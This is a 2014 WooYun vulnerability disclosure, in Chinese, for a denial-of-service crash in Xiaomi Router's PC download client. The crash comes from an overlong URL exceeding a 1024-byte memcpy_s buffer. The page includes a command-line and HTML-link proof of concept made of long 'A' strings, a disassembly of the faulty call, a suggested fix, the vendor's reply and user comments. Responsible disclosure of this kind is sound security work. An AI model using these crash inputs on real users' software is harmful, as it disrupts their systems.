当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-059303

漏洞标题：小米路由PC端超长下载URL地址导致程序崩溃

相关厂商：小米科技

漏洞作者： New4

提交时间：2014-05-03 21:21

修复时间：2014-08-01 21:22

公开时间：2014-08-01 21:22

漏洞类型：拒绝服务

危害等级：低

自评Rank：3

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-03： 细节已通知厂商并且等待厂商处理中
2014-05-05： 厂商已经确认，细节仅向厂商公开
2014-05-08： 细节向第三方安全合作伙伴开放
2014-06-29： 细节向核心白帽子及相关领域专家公开
2014-07-09： 细节向普通白帽子公开
2014-07-19： 细节向实习白帽子公开
2014-08-01： 细节向公众公开

简要描述：

小米路由PC端在接收IE插件传入的URL地址，未对输入字符长度进行严格控制。memcpy_s拷贝字符大于1024字节导致程序异常退出。

详细说明：

测试环境：WinXp SP3 IE6.0
使用IE插件右键“使用小米路由器下载”菜单，传入超长URL地址会导致小米路由器PC客户端异常退出。
超过1024字节就导致程序崩溃（char[1024]），程序没有做好判断和限制。
这里使用安全版的memcpy_s，所以没有导致非常严重的缓冲区溢出。只是崩溃！
0046D149 |. E8 90B01200 CALL MiRouter.005981DE 漏洞关键点
ollydbg带参数执行调试立马见效
测试方法："C:\Program Files\XiaoMi\MiRouter\MiRouter.exe" /url http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

漏洞证明：

保存html代码可以测试崩溃效果

<a href="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" target="_blank">测试</a>


0.JPG


关键代码块

loc_46D13D:
lea     ecx, [esi+esi+2]
push    ecx             ; MaxCount
push    ebp             ; Src
push    400h            ; DstSize  400h转换过来就是1024
push    eax             ; Dst
call    _memcpy_s 这里执行拷贝操作
add     esp, 10h
call    sub_46D160
pop     esi
pop     edi
pop     ebp
retn    4
sub_46D0D0 endp


400.JPG


修复方案：

检查输入字符长度，或者限制输入字符长度。

版权声明：转载请注明来源 New4@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-05-05 11:24

厂商回复：

问题已着手处理,感谢您对小米安全的关注！ : )

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-03 23:49 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    已早于洞主30秒从其他渠道获取，感谢你对小米安全的关注！

  2. 2014-05-04 08:46 | kider脚本小子 ( 路人 | Rank:4 漏洞数:2 | 系统软件安装及其调试。电脑硬件问题检测...)

    楼上在装官方。。。屌丝还买不起小米路由，

  3. 2014-05-04 12:14 | Cyrils ( 实习白帽子 | Rank:45 漏洞数:10 | the more the better)

    new4...暗组？